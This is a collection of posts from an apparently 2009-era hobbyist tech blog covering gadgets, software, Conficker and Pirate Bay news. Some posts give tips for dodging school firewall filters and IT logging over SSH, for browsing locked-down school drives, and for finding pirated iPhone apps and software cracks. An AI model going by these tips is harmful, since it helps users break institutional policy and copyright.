After talking with my co-author of this blog, Wayfarer, we have decided to move our blog. We have noticed, and any readers we have as well, I'm sure, that our blog the past month or two has not really involved "hacking" per se, and so blogging for the Hack Hut just didn't seem to fit. As such, I would like to point you all to our new blog that we set up: the GenTech blog. The GenTech blog will be based more upon any and all technology in general. It's uses, reviews of it, our ideas on it, everything, not just hacking it. Oh, and did I mention it will include mine and wayfarer's college experience next year? That's right. We will, conveniently, be attending the same college in fall, and so we will blog about all of those experiences as well.

So please, come visit us at GenTech! We hope to see you there!

~Sum Deos

Vista Alternate Start Menu

I have begun testing Windows 7, and I already can't stand something.  The start menu.  Oh wait, I couldn't stand Vista's either.  Windows 7 made the start menu even more pretty, but even less useful.  So, I have reverted to a good friend of mine.

Vista Start Menu

It gives Vista a great alternate start menu, similar to the one found on XP.  But wait, I'm not using Vista, this is about Windows 7.  Well guess what, it works for 7 too.  Just my luck!  So download it and fix up your crappy start menu!

Google Chrome 2.0 Released

So for those of you using the previous version of google's web browser, it's time for you to upgrde. Google has just made a rather large software jump to version 2.0. If you hop on over to Googles website and try downloading the new version of their browser. And if you haven't installed the previous version of google chrome then it's time to make the switch. Especially if you are still using explorer LOL. Chrome, for those of you who haven't used it before, is a very minimalist browser. It's beautifully light and the speed it has is pretty damn sweet too. Chrome has lots of awesome functions and it is even above par (at least IMO) structurally. Chrome uses a method called sandboxing, which is basically a way of saying that each individual tab you have open is a seperate process, allowing the sites to run faster and if one crashes the entire application doesn't crash. Which is frackin useful.

I myself haven't gotten a chance to install the new chrome yet, but I will sometime today. I'll hopefully be able to post my observations either later tonight or tomorrow. Unfortunately, my computer is currently being fixed by the school (since I graduated and we get to keep our laptops, the school has to remove all the school software and reinstall a nice new copy of windows on the machines. So not only am I without a laptop for almost a month, when I so get the laptop back I'm going to have to install another Linux partition which is a solid hour out of my day. Fml LOL) and so I'm not able to really do the same depth posts I so when I actually have a computer. He'll, this post right here took me about 35 minutes to type because I have to use my iTouch for the whole thing. And let me tell you, that is a major pain in the ass to do.

So anywho, just bear with me as I try to make blog posts on an iPod for the next nomen or so, and be sure to check back for my opinions on the new version of Google Chrome. I'll install it on my home computer as soon as I get the chance. Until then, everybody have a good start to summer (I know I will) and I'd you haven't already, ditch Internet Explorer for either Mozilla Firefox ilor Google Chrome. It's up to you which one you pick, but please don't pick IE: that's like choosing vista over ubuntu. It's heresy.

Songbird -- My New Love

So, it happens that once in a while I stumble upon a new program and try it out.  Sometimes I fall in love with it.  Other times, I hear of a program and simply refuse to try it out for one reason or another.

And sometimes, I hear about a program, refuse to try it but finally do, and fall in love with it asking why I never tried it earlier.

Enter Songbird.  This is, in my mind, undoubtedly better than iTunes.  As a media player, it does everything I have ever wanted, and so much more than iTunes.  Some of the great features that swung me include:

1. Global Shortcuts.  Now, just like in Linux and OS X, you can hit some keys and have the music go to the next track, previous track, or pause, without actually going back to the application.
2. Launchy/Quicksilver functionality.  While it isn't perfect, I can choose my next tracks without going back to Songbird because it too has a global shortcut.
3. Add-ons!  Songbird is made by Mozilla, the same people who make Firefox.  So, of course, there are many addons which add important functionality to the Media Player.  One of my favorite is the automatic Lyric finder.  Anyone sing?
4. Built in web browser.  While I still use Firefox, the built in web browser is very useful for installing addons and finding music.  Since it is essentially Firefox, perhaps I may stop using the two different applications entirely.
5. Open Source.  'Nuff said.

There are a few things lacking in this program which I would like to see in the future.  I would like to see better "Launchy" integration, which could come in the form of an addon.  Having it be a little more streamlined and effective would be excellent.  Also, better iPod support.  While there is an addon for iPod's, it only works on the older models, the one's that allow "Disk Usage."  My iPod touch is not supported, which means I will need to keep iTunes around.... for now.

Another Konami Code Hack

A few posts ago I showed you how to unlock a cool little facebook Easter egg using the Konami Code. Well, today I'm going to show you another website that has another AWESOME hidden feature that is bound to make you either laugh uncontrollably (as I did) or maybe cry. It really depends on how geeky you are.

Anywho, the website who's hidden feature we will be checking out today is a neat little site that has blog posts about just about any gadget or geeky thing you need. The website, Geek Stuff has all sorts of information ranging from iPod stuff to digital camera's, where to buy them, why to buy them, and all sorts of good information if you're interested in purchasing something.

But that, of course, is not why we are interested in their site. Oh no, we are only interested in what happens when you press [up] [up] [down] [down] [left] [right] [left] [right] [B] [A] [B] [A]. So go ahead, meander on over to Geek Stuff and try out the Konami Code. A word of advice - once you enter the code it will take a few minutes for the Easter Egg to load. And make sure you have your speakers turned on, otherwise you'll miss the amazingness. And while you are unlocking the hidden wonders, remember what the wise men say - "Forgiveness is divine, but never pay full price for late pizza".

#Googlefail

For those of you who haven't heard, google went down early today. As in, an epic fail. And it really just goes to show how much of the internet relies on Google's services. It's even scary, one might say. Anywho, here's a wired article to check it out: google fail

Also, just want to apologize for the lack of updates. As most of you are probably in the same boat as myself and Wayfarer, I hope you'll understand. You see, we're both dealing with this little thing called the end of the school year, and for an end-of-year present every year, the schools love to give these gifts called exams. And these wonderful little godsends have been sapping all of our energy and time. So as soon as our exams are over, you can expect more updates to be made. No more of this week-long no-post crap. Apologies again on the delay. And also sorry I couldn't write a longer article today. I have to go... study...

Facebook Easter Egg

I guess Facebook has been on my mind recently, as this post is again about Facebook. It's not, however, a post saying how bad and overbearing Facebook is, and how everyone should be using Twitter instead. This is just a cool little trick you can do with Facebook.

After you log into Facebook, use the arrow keys to type [up][up][down][down][left][right][left][right] then hit the [B] [A] [enter] buttons. This sequence of keys typed in this order (commonly called the Konami Code in the gamer culture) will release a secret easter egg. Please note that on the computer an Easter Egg is a hidden feature, not a little hardboiled egg thats painted.

To view this easter egg, after you use Konami's Code, just scroll up or down in the browser and enjoy!

Texting on the iPod touch

Ah, yes, you can feel the power in your palm.  The power of the internet.  Your little iTouch can do almost anything - it can email, play games, control computers, and make farting noises.  But even with the many applications out in the marketplace, I have found one terrible niche that has yet to be successfully filled.

Texting.

Now, at one point, there was InfiniteSMS, the perfect texting app.  Simple set up, mimicked the feel of the real SMS deal, and worked quickly.  However, it used Google's SMS gateway, and when it became too popular (Because it was so good!) Google killed it off.  What does that mean for the rest of the world?  It means that InfiniteSMS's monopoly was gone and other apps got the chance to shine.

They were given a chance - and they have all proven that they can't fulfill.  I have tested app after app looking for the best solution.  Most of them are expensive, and do nothing more than convert your text message to an email and send it.  Some go as far as to even show you the mail app and let you edit the message there.  Lame.  TextFree is the closest I have come to, and even it is not perfect.  With no landscape mode, bad button positioning, an ugly UI, it has a lot to move onto.  Not to mention it's $5 price tag.

What do we need?

There needs to be the perfect texting app again.  The app that dominates the marketplace because it is just so damn good.  It needs to support landscape mode, it needs to be simple and have perfect contact list integration, it needs to be able to delete messages, perhaps even archive messages.  It should be relatively inexpensive (~$3-$4) and it should never fail.  With all of those in one app, it would sell thousands.

Big Brother is Watching... Your Facebook

So I found something interesting while Stumbling my way through history class. Apparently, Facebook has initiated an interesting "security" (aka- keep Facebook's ass clear) feature. They are censoring all of their users emails. That's right folks: everything that you send in a Facebook message can, and will, be checked.

Now before everyone starts going all paranoid about the fact that all their email's are being read by Facebook, theres a few points you should consider. One, Facebook uses an automated checker that will scan all email for keywords, phrases, URL's and such. It's not like there are actual people sitting at a computer all day reading every word of your email (we call those people "stalkers"). Another point, Facebook isn't the only service that does this. Most email clients use similar programs to scan for, and remove, spam messages.

I decided to test their censorship, and here's what happens when you try to send "contraband" text (click for a larger version):



What was the terrible, terrible term that I put into this email message? A simple URL. I tried sending the URL for a torrent copy of a Don Quixote eBook (note that this was perfectly legal as the book is old enough that it is no longer bound under copyright laws), but it was blocked. Facebook wouldn't let me send the message, or allow my friend to receive it.

So is Facebook going too far? What do you guys think? Should they be censoring their users email? How "deep does the rabbit hole" go, as our good friend Morpheus would ask? It's possible for Facebook to search email for anything including drug usage, underage drinking, hackers, ponies, gum drop buttons... you get the point. So we ask you: They have the power to do this, they "technically" have the authority, but do they have the right? Should they?

Aircrack-ng on the iPhone

Well, as far as I can tell, it hasn't happened.  Yet.  But a proof-of-concept of the idea has been made, and now I really want it to happen.  This could be the most devestating attack against wireless networks everywhere; WEP would be made virtually worthless.  Anyone with an iTouch or iPhone would be able to tear apart the code in a few minutes and hop on the network.  I don't hold out any hopes of the aircrack-ng version being able to crack WPA, at least not yet, because of the resources it would require.  But someone needs to step up the plate and get this working.  Trust me, the moment it gets onto the internet, I'm going to get it.  Updates to come.

Google Mobile App

I can't say I have been through a lot of Google updates with their mobile product, but their most recent update was quite amazing. You can see in the picture the notes that Google posted for the update. I can't help but laugh.

Hackers Hit Time Magazine

Time magazine's website was hacked by an underground group of hacker punks earlier this week. The hacker group, known as Anonymous, has been behind other attacks against online entities. In one low blow, they put flashing pictures up on a forum for epilepsy. There attack against Time, changing the results of a poll to spell out "Marblecake also the game" with the first letter of each name, is the first that has been relatively harmless as far as hacker pranks go. It's good to see them starting to steer clear of their cruel jokes into lighter, more acceptable territory.

Check it out here.

Speaking of hacking, another attack was made against a fairly prominent web site last week. A major law firm who prosecuted the four men from Pirates Bay recently was recently vandalized by hackers as well. The MAQS law firm faced the wrath of the hacker community for putting away the notorious Pirate Bay operators. A denial of service attack was launched against there website, causing the server to crash. Although no lasting harm happened, the financial cost and labor required to fix it must be taken into account. Especially since it's the third attack against prosecutors of the Pirates Bay Crew.

Piractes Bay Update - Possible Mistrial?

Interesting turn of events in the Pirate Bay trial. Judge Tomas Norström, from Stockholm, who resided at the trial has recently come under fire from several of the "staff" members of Pirate's Bay. Norström is, apparently, a rather avid yay-copyright, nay-pirates kind of guy. He was part of two different copyright groups, which clearly could be basis for a conflict of interest. And we all know that conflict of interest in the courthouse is a very bad thing.

The decision should be made sometime within the next week or so, so I will try to keep you updated with what happens. To read Wired's coverage of the possible mistrial, go here.

Technical Difficulties

Hey everyone, I just wanted to apologize for the lack of posts I've had lately. Unfortunately my hard drive got eaten by a virus, so I don't have much computer access. I'm typing this post from a friends laptop because I don't want to leave you all in the dark for longer than I already have.

I hope to have my computer up and running again soon, but until then, keep your computers out of the way of evil, hungry little virus. Sorry again if any one actually reads this blog to see my posts... which is probably no one... :P

-Sum Deos

Apple Counts Up to 1 Billion

This is your chance to win a free MacBook Pro, 10,000 to the iTunes store, an iPod Touch, or a time capsule, completely free.

I mean, if you are one of the few people chosen to win that.  But you can sign up for free!  If you download an app from the app store (Free ones too), your iTunes account is automatically registered.  However, if you don't want to do that you can use the alternate form (found here) to sign up without an actual iPod touch or iPhone.  I don't get it either, but sign up quickly!

Knowing my terrible luck, I won't win.  Maybe you will!  (Here is the prize list, it looks like you get all of these:  Prizes.  One (1) winner will receive one (1) 17” MacBook Pro; one (1) iPod Touch 32GB; one (1) US$10,000 iTunes Gift Certificate; and an Apple Time Capsule. Total US Retail Value of all prizes is US$13,746.)

Sweden Makes Pirates 'Walk the Plank'

Ok, not really. But they have convicted some of the most notorious scoundrels ever to loot the cyber-sea's. Frederik Neij, Gottfrid Svartholm Warg, Carl Lundstrom, and Peter Sunde, operators of The Pirate Bay have been found guilty of copyright infringement.

The pirate's arguments against their charges were simple. They gave an infrastructure of torrents, but never hosted any of the pirated materials themselves. What does this mean? Basically, Pirate Bay users kept all of their media files on their own computers, and allowed The Pirate Bay and its other users to access and download their stored files directly from personal computers. Torrenting is very popular amongst internet users, but this is the first time it has resulted in actual jailtime for the owners of the torrenting site.

This is going to b a political hotspot now. By convicting the Pirate Bay operators, the internet pirating community is going to be pretty pissed. It will be interesting to see how this develops, because Pirates don't go down that easily. We'll try to keep you posted on the important events concerning the Pirate Bay trial as they happen.

Little Known Fact

Mountain View, in California, home of Google, is completely covered with free Wifi.  I wonder how long it will take for the rest of the world to do the same.

The GDrive - What it Should Be

The rumors are coming out again.  Goolge is hinting, or playing us, with its new GDrive, or Google Web Drive.  You can find a lot of other resources telling you what it is, but a short recap may be in order.  The GDrive is Google's rumored drive that would allow you to store information "in the cloud."  In short, an online Hard Drive.  There are many other services that allow you to store information on the internet, such as Adrive.  However, the GDrive could be so much more.  While the rumors are still flying about, I might as well toss in my own 2 cents.

• The GDrive should hold everything.  There are already some sources which say that the GDrive would hold music files, something that Google has stayed away from before.  GDrive should hold everything, that way there is no excuse to have your own Hard Drive.  Everything could be in the cloud.
• Fast transfer rate.  Of course, this is obvious, but Google should never limit people in their download speed or upload speed.
• Infinite Space.  Of course, infinite space would require some money, but Adrive offers 50 GB free, so Google should start out with at least that.
• No file size limit.  Users are uploading and moving huge files.  Saving ISO's and movies that are 4 GB in size, or even as big as 10 GB.  There should be absolutely no limit on how big a file can be to be uploaded.
• Remote booting.  This could be interesting.  Even if everything is "in the cloud," your computer still needs and Operating System.  Imagine a Google built OS that would be small, and would boot from a remote Hard Drive off in Google Land.  It would automatically connect to your own GDrive, and so you could save and work with programs.  You could install programs to your GDrive.  The GDrive would act as a "Network Drive" and the OS itself would never change.  This means your computer, hopefully, would remain virus free.
• Access Everywhere.  Yes, everywhere.  On your cell phone, on your iPhone, on your computer, on your friend's computer, on that sketchy Hotel Computer that has 13 different viruses.  Everywhere.
• File Sharing.  In one form or another, it will happen.  The GDrive should take this into account and allow files to be shared.  Perhaps this will make the MPAA and the FIAA really angry, but I think that Google could fight them off.
• Music Streaming.  Why not?
  

These are just some ideas that Google should incoporate into their GDrive.  In general, it should be Free (up to a level) and really, really big.  

Firefox: The Ultimate Hacking Tool

Okay, Firefox is probably not the ultimate hacking tool, but in certain situations it does have a lot going for it. One such example is at my High School. It took them some odd two years to finally install Firefox on the school computers, and I often wondered why they were so hesitant. Now I may know.

At least at my school, the IT officials had IE pretty well locked down, even to the extent of reduced functionality. No tabs, no touching, no Options, no browsing local drives, almost nothing. However, they haven't done the same thing to Firefox yet, making it a much more powerful hacking tool.  You can change most of the options in Firefox, you can have tabs (thank God), and you can browse local drives.  What this means is I was able to browse around on the local C drive on the computers, which you usually don't have access to.  I was also able to poke around in a few other interesting places.  It was pretty simple, all I had to do was type in the Drive letter in the address bar I wanted to see like this:

C:\

And I was brought right there.  D drive and other drives were just as easy.  It was pretty awesome, try it out on your own computer!

Bluetooth for the iPod touch

According to a few different sources, the iPod touch will soon have Bluetooth capabilities. A long time ago, when hackers were still interested in taking apart the little gadget, they stumbled upon the Bluetooth reciever. Of course, at the time most people thought that it could only communicate with the Nike+iPod thingy.

However, this changes with the new 3.0 OS. The new operating system will unlock the iPod touch's Bluetoothing capabilities for everyone.

What does this mean? Well, not only does it allow for peer to peer connections and inter-iPod gaming, but there is a possibility that one could tether their iPod to their cell phone ( if both had Bluetooth) and get Internet through that. The ideas are endless.

DIY Multitouch Computer

How many of us have been dieing to get our hands on one of those hardcore microsoft touchscreen tables just to futz around with it? I know I have wanted one. Unfortunately for me, however, I don't happen to have 12 grand lying around to pay for one. I'm sure I'm not the only one in that boat.

Have no fear though! The folks over at Maximum PC have managed to find a way to build a cost effective alternative to Microsoft's table. You'll have to have a look for yourself to see how the responsiveness of each table is, but in my opinion, for the price, you can't go wrong with Maximum PC's rendition.

Microsoft Surface:


Maximum PC DIY Surface:


Maximum PC's Multitouch Surface Computer from Maximum PC on Vimeo.

As you can see, Maximum PC's table works exceptionally well, and is soooo much cheaper than Microsofts. Maximum PC's table is made with fairly easy to obtain materials, and is actually simpler to build than one might think. If you are interested in building one for yourself, check out there article here. I know I'm taking notes so I can build one when I get to my college dorm :P.

Vista and iTunes and Firefox

You know, I've noticed something.

Vista Sucks.

Okay, moving on.  I've actually noticed something else, and I am wondering if it is my computer, or if it actually is a bigger problem.  But when I am running Firefox and iTunes on Vista, Firefox constantly freezes, crashes, and glitches.  Yes, all of the above.  And it is every time, constantly.  If I close iTunes, the problem goes away.  If I close Firefox, the problem goes away.  If I run a different browser (I only have 4 others), the problem kind of goes away.  So I really do this is an issue with iTunes and my internet.  There have been reports earlier of iTunes network problems, but I never thought it would affect Firefox so badly.  So tell us, do you have a similar problem?

Conficker Payload Launched

So the mastermind of the April 1st Doomsday virus has finally delivered a payload to his zombie bot network of millions of computers. And how devastating an attack it is! Except not really. The new Conficker payload is fairly mundane, and certainly not worth the hype that was given to it.

Conficker has turned its zombie network into a giant spam network. The worm tries to get users to pay $49.95 for non-existent virus and malware removal tools. It is a very common use for virus's and worms. Conficker also downloads another worm that steals passwords and sends more spam through email accounts.

So, now that cyber dooms day has come and gone, all we have is a very sophisticated, top-notch spam bot network. Because sometimes, theres just not enough spam on the internet...

iTunes New Pricing Hierarchy

No more 99 cents per song at iTunes. As of 2 days ago, iTunes changed it's pricing system for songs. Now, instead of a nice 99 cents for every song you want, you have to pay 79 cents for older songs, $1.29 for new popular songs, and 99 cents for everything in between. Amazon and Wal-Mart quickly followed suit, as is only to be expected in the business world.

The music industry has been asking iTunes to change their pricing scheme for a while to motivate the sale of older songs as well as gaining a larger profit for newer songs. It's a good plan for getting more money for the artists, in theory. Too bad it ends up costing us more money for that new song we've absolutely got to have. I sense a rise in piracy in the future...

Britain: Land of the Hackers?

A recent survey conducted by Trend Micro, an Internet security firm, showed some disturbing results. The survey interviewed 1000 British children and adults about their "emorals", or their hacking ethics, and found that hacking is much more common than most people realize.

Apparently, 1 in 7 children aged 12 to 13 have posed as someone else online, and 40% of the interviewed kids have posed accessed someone else's social networking profile. And get this - another 40% have accessed someone else's online banking account without the owners knowledge or permission. And guess what? It's not only boys who are teh 1337 h4x0rs now. The survey found that girls are 3 times as likely as boys to use someone else's shopping and banking accounts.

Kids in Britain aren't the only problem. We all know that kid's learn from the influence of their parents. Well apparently 1 in 3 parents have ALSO hacked into someone else's online account. So much for a good influence.

So if you're computer or online account are hacked into, remember. It's the new generation of hackers that are being bread throughout the world. Lol, you have to love all the media hype about the underworld of the "hackers". aka - script kiddies. Moral of this post - watch your back, because someone out there is trying to break into your account. Moral of the story part B - what the media calls hackers are not really hackers. There crackers and script kiddies. It's a pet peeve of mine to see people like that compared to the real hackers out there.

The original story can be found here: Britain Breeding a Generation of Computer Hackers.

I suggest also that you look up the true meaning of a hacker. Learn the truth about these things - don't just accept what the media tells you about what a hacker is and does. Sorry that there's so many rants like this in this post, but like I said. It's a pet peeve of mine and I'm tired of people confusing hackers with all the different branches of cyber criminals out there.

Skype for iPod Touch - Is It Worth It?

Well, I say yes.

It started out with me buying a Skype subscription for unlimited calling in US and Canada.  This was shortly after I got my second generation iPod touch for my birthday, and was working on on turning in into an iPhone.  I had to buy headphones from the Apple store, and so I bought these. I used Fring at that point, and to my amazement, it worked!  I could make calls via my Skype account to the world.  However, there was quite a bit of lag, and that made it less than ideal.  So for a while I gave up.

But now, with the official Skype app out in the App store, I have returned to this idea.  So far, from what I have seen, it works well, but not as well as it could.  The Skype app does allow you to use subscriptions with it, not just Skype Credit.  This is a huge boon, because with a subscription comes voicemail and a cheaper online number.  The online nunber, once set up (which I have), means people can call you back, if you are in the Skype app.  However, you still cannot check your voicemail when you are in the Skype app.

I like the Skype app because it works with Backgrounder (thanks to an update to the Mobile Substrate), it has very little lag, and it has more in-call options.  The update by Saurik to Mobile Substrate is probably the most exciting thing for the Jailbroken community.  Because we can have Skype run in the background, that means we can recieve calls when not in the app itself.  This, combined with Keep Awake or Insomnia, means the iPod touch can almost be an iPhone.  I've had some trouble however, with the other person hearing me, but I can't hear them.  In Fring, I would just have to call them again and hope it worked - however, with the Skype application, 4 in call options come up, one of which is "Speaker."  I don't know why, but hitting that option generally gets ride of the wierd echo and allows me to hear them too.

Unfortunetly, you can't do some things which I would love to see.  You cannot check your voicemail yet, which would be the best new feature.  Having more integration with the contact list would be appreciated, but is not truly necessary.  Because Skype requires the +COUNTRYCODE, thing, it may be nice not to have integration so you wouldn't have to change all the numbers.

My last wish is for the Jailbroken community to start integrating this app with the iPhone OS.  It would be beautiful if it always ran in the background, and when you were connected to wifi, the wifi would never turn off so you could always recieve calls.  This integration would make it almost identical to official calling app in the iPhone.

conficker.c - Did it kill the internet?

Nobody panic! If you are reading this post, then rest assured that conficker.c did NOT kill or destroy the internet.



Indeed, I am typing this post on a still working internet, so clearly conficker.c didn't do what it was supposed to. Right?

Wrong. The conficker worm did exactly what it was supposed to do today. On April 1, 2009, conficker came "online" and called home very ET-like. The master computer, however, didn't have any commands for conficker worms out there except to stay put until they receive further instructions. The moral of the story? conficker may not have done anything noticeable today (although it did increase the random URL's from 250 to 50000 as we said it would), but it is all set up to do something at some point in the future. So if you have conficker Strain C, it would most definitely behoove you to get rid of it as soon as possible. If you want to check to see if you have conficker, simply go to Microsofts website and try to update your computer. Conficker's a nasty little bugger and will block you from updating your computer, so if you have trouble updating, use the conficker removal tool.

So I hope your all glad to know that your still safe from conficker for another day. You don't have to worry about a multimillion zombie-computer assault tonight, and probably not tomorrow either. After that, though, it's anyones guess...

Skype for iPhone and iPod Touch Is Here!

It's true!  It finally came on March 31, 2009.  The official Skype Application has landed in the Apple App store.  And while you can read what it includes almost anywhere, allow me to tell you once again.

• Free Skype to skype calls
• Calling Landlines, Mobile Phones, and other users!
• IM built in.
• Calling only works over Wifi, IM works anywhere
• See who is online anywhere

While it sounds too goo to be true, there are a few things that should be noted.

1. Some users are complaining about problems with the Skype application on their iPods or iPhones.  Well, yes, there actually is one.  If you jailbroke it.  The package installed upon Jailbreaking your iDevice "Mobile Substrate" causes Skype to crash repeatedly.  The solution?  Open Cydia and update Mobile Substrate.  Saurik already has a new version out which disables Mobile Substrate for Skype.  After updating that, your Skype application will work much better.  So go do it.
2. Skype for iPhones doesn't work with subscriptions.  Wait... what?  Yeah, that is what I said.  You need to have Skype credit to call people, you cannot simply be using a subscription.  This is undoubtably a purposeful move done by Skype for business purposes, but it is still ridiculous I think.  Now, I need to get credit as well as my subscription?  Or should I just ditch the subscription?  But wait, there goes my voicemail, and money off the online number.  I seriously believe that Skype should rethink their decision and open the program up for their many subscription users.  Edit:  Within the last few hours I have gotten the application to work with my Unlimited US and Canada plan.  Make sure you type in the number correctly!
   
3. EDIT:  It also appears that Skype cannot be run in the background using Backgrounder on a jailbroken phone.  I do not know why, and I am hoping there will be a workaround if this is true.
4. Editing the Edit:  Saurik released a new update today that gets around Skype's DRM.  All Mobile Substrate programs work with it again after the update via Cydia.  My iTouch is getting more and more like an iPhone.
   

Edit Edit:  I contacted Saurik, the developer of Mobile Substrate, and he said that backgrounder will work once he enables the Mobile Substrate to work with Skype.  I am sure he is working on such an update!

April Fools Day Virus - AKA conficker.c

Many of you have probably heard about the virus conficker.c that is set to go online April 1, 2009. But for those of you who haven't heard about it, fear not! Because I'm going to explain it now anyways.

The first point I would like to make is that conficker technically isn't a virus. Most people confuse virus's with just about every other type of malware known to machine and man, so I'm going to call it a virus for the sake of my sanity. In reality, however, conficker is what is called a worm, meaning that it is self replicating. Once you have the conficker worm it can reproduce itself and use your computer to send itself to other computers and systems. A virus, on the other hand, requires a "host", usually a program that you execute allowing the virus to infest your computer. The virus then remains in the host unless some physical medium is used on the computer, infected, and then used in another computer (USB drives, floppy disks, etc).

So what exactly is conficker? Well, the conficker virus/worm comes in 3 different versions (Strains). Strain A basically created 250 random websites per day, allowing for the "zombie" computers (computers that can be controlled and accessed by a "master" computer that the original virus' author has access to). This strain was patched in most cases, and so isn't a huge problem. The end goal was simply to sell bogus software to unwitting users. The second strain released, conficker.b was similar, but infected millions of more computers. The major innovation in conficker.c is that instead of generating 250 URL's per day, it will generate upwards of 50,000.

Strain C could be simply another bogus advertising deal, trying to trick users into giving up important credit card information. Other theories exist as to what it may do, however. When Strain C becomes active, the conficker virus will be able to bypass many security programs and infect the rest of the computers on the same local network as an infected computer. It also has the ability to build a tunnel that will allow it to find and infect computers via the internet, allowing it to spread rapidly. It could then be used by criminals to gain access to the private data contained on the millions of infected computer (an estimated 6-10 million computers are currently infected). It would be the largest zombie network ever created by a single entity. The zombie network could also be used to mount a DoS attack against any number of servers.

Conficker is already prevalent in the computer world. Like I said before, an estimated 10 million computers are infected already, including the British Parliament, the french navy, and other government bodies.

We really have no idea what conficker will do, aside from "dial home" to its maker tomorrow. The end goal of the worm is still unknown. What it will do is anyones guess. My suggestion, however, is that if you are running a windows machine, you may want to check to make sure you have updated your antivirus software, as conficker, among the other things it does that we know about, blocks updates and installations (of antivirus software) that may be harmful to it.

Connect iPod Touch to Cell Network

You can connect laptops to a cell network, so why not your iPod touch?  Obviously it will require some interesting hardware, and I am curious if I could get it to work for free (besides the hardware).  Already you can buy cards which will allow you to connect your laptop to a Cell network.  One thought is to simply do that (you could even tether your laptop to your phone), and then create an Ad-Hoc network and tell your iPod to access that, and through that get the internet.

However, that is a lot of steps, and it requires your phone, a cable to connect the two (unless you have bluetooth) and a laptop.  Why not a simple hardware dongle which would connect straight to your iPod touch and give you cell network access.  While you are at it, put in a microphone and you just turned your iPod touch into an iPhone.

Someone want to help me with this idea?

Appulo.us is Down

Apparently, Appulous was too good to be true. It got enough popularity, quickly enough, that the server crashed... enough for them to take it down completely.

So now what? I'm looking into alternate ways to getting access to the applications. When I find a way, I'll let the world know. Hopefully it doesn't result in my death.

Edit:  It looks like the best way to get an app is to use Google.  Just type in:

ApplicationName VersionNumberYouWant ipa

For example, I could type in:  Blogpress 1.3.4 ipa  This brought me to my Google results, and the second one proved to work (first one was Appulo.us, which is, erm, down).

How to Tunnel Through a School Firewall

Don't you hate it when you forget that paper or presentation for school? I know I do. When I'm at school and trying to read the latest articles over at Wired, I don't have time to retype any papers. I don't want to redo my homework, I just want to READ those articles dammit! Thats why I am on the computer in the first place! So if you are like me, and want your news (or facebook) now, then this is one blog post I would not suggest missing. Not that I suggest using this if your administrator's ban the use of connecting to remote terminals... (Although you can also use this trick with a few extra steps configuring Internet Explorer to view any website regardless of your school or offices security filters).

Basically what we are going to do is create whats called a Secure Shell (SSH) tunnel. An SSH tunnel is sort of like telnet, in that it will allow you to remotely connect to a server. In my case, the 'host server' is my home PC running Ubuntu-linux. And the computer I want to access from is, of course, my school computer running XP.

Setting up an SSH server on your host computer*
In linux, it is quite easy to set up an SSH server. Open up a terminal and type this command to install the OpenSSH package:

sudo apt-get install ssh

You will then be prompted for you password. Type in your password and hit enter (remember you will not see any characters displayed as you type your password). Thats all there is to it! Once going through the SSH Installation instructions, you need to set up your client computer (the one you want to connect from). To do this, we will use a program called Putty.

Installing Putty

This part is simple as well. All you need to do (for a windows client machine) is to download Putty. The download process is simple enough, all you need to do is follow the installation instructions. Once installed, open Putty.

In order to connect to your remote computer, you must know your IP address of the server computer. If your server is running linux, type "ifconfig" into your terminal window and find the ethernet IP address. If the server is running windows, type ipconfig and find the ethernet IP address. Once you have the servers address, you can use it to connect to that computer from the client.

In the screen that opens when you run Putty, type your host (server) computer's IP into the text field labeled (Host Name). Leave the port alone for now, as OpenSSH uses port 22 as the default port. Click open and Putty will try to open a connection with your server via SSH. If you are successful in connecting, you will be asked to provide a login name, followed by a password. If you input both correctly, you will see a linux command prompt (if the server is linux) that you can use as if you were at the actual computer. Enjoy!**

*The host computer in this case is running linux, but windows would work just as well. The installation process is all that would change.

**Please note that every command used from the remote terminal will be logged. It is also important to note that the way I have this configured, it will be fairly easy for an administrator to see you accessing an off-network computer. I will go into more detail later on how to try and get around this by using more obscure ports.

How to install Mirage OS onto your Ti-83+ or Ti-84 Graphing Calculator

So, with the messing around with my calculator comes the inevitable idea to put Mirage OS onto it.  Mirage OS is a flash shell which allows for different apps to be run.  It is a pseudo Operating system, or a mirage of one.  It does not replace the OS on your calculator, nor does it modify it in anyway.  It does however, work nicely alongside it make your calculator do more.  Installing it is really quite easy.

1. Download the software necessary to talk with your calculator.  You can get that here.
2. Install the software.
3. Plug in your Ti-connect link.  It looks like this, and yes, you need one to do this.
4. Download Mirage OS (Current version when I wrote this was 1.2) (Direct link here).
5. Extract the contents of the file.
6. Right Click "MIRAGEOS.8xk" and click "Send to TI Device..."
7. A window will pop up.  Don't worry about any options, just hit "Send to device"
8. Let the TI software do all the magic from there!

Congrats, now you have Mirage OS installed on your calculator. It can run its own programs and everything.  For installing programs, the process is exactly the same.  Read the ReadMe for each program you want to install to make sure you are sending the correct file.
Edit:  In the same way you can install Puzzpack and almost any other flash applications you want!

Ti-83+ Caclulator

I have a Ti-83+ calculator.  Maybe you have one, maybe you don't.  This nice thing about this calculator is what you can do with it.  You can do basic arithmetic, but that is so below what it can do it hurts me.  Some of the fascinating things the calculator can do are:

• Program in BASIC
• Program in Assembly
• Connect with your computer for updates

Those may not seem like much, but for many people, Basic is their first real touch with programming.  I know it was for me, and I fell in love with it then.  The language itself is one of the easiest to learn, but it can still be very powerful.  I bring this up because I am tempted to make a few posts on the ideas behind basic and perhaps some more interesting concepts.  Also, for my Calculus class we were studying integrals, and the idea behind some of the rules made me sick, so I made a program to do them all.  This greatly simplifies the work on my part, and allows me to easily check my tests!

If you want to use the program, download it here and send it to your calculator!

Daemon Tools Alternative

I don't know about you, but after spending a long time on the internet, I've found that I pretty much need a virtual ISO handler.

Oh what?  You don't download anything that would need that?  Well, then maybe you don't care.

But I do.  And The problem is, Daemon Tools just didn't cut it for me.  You see, I didn't like how it hid itself in my operating system as almost every single anti-virus software out there tried to kill it.  That just didn't fly with me.  So maybe it has just been the bad feeling I get about it, but there must be a better way.  I tried Alcohol 120%, but I couldn't find a crack that worked for it.

And then, I learned of Starburn.  This incredibly useful program allows for so much to be done.  Not only does it install a virtual ISO manager (you have to request that when you install), but it also allows for the burning of almost any type of DVD (I don't think Blu-ray is among them yet, sadly).  However, I found that it's utility for burning audio CD's is better than iTunes because it got all the CD text on there as well, making it very easy for another computer to tell what the song's info is.

Tux, In a Completely New Way

Maybe not from some of you, but this caught me by surprise.  I found it while surfing the web and it just blew me away.  Check it out.  What is better, is that I don't really know how it was made.  Looking at the source code of Tux, it appears as though the author brute forced the entire html out.  Definitly worth it to see.

It's ROOMBA Time

Today, while I was looking around for something to do, I came across my mom's old Roomba and I decided I was going to try and hack it.


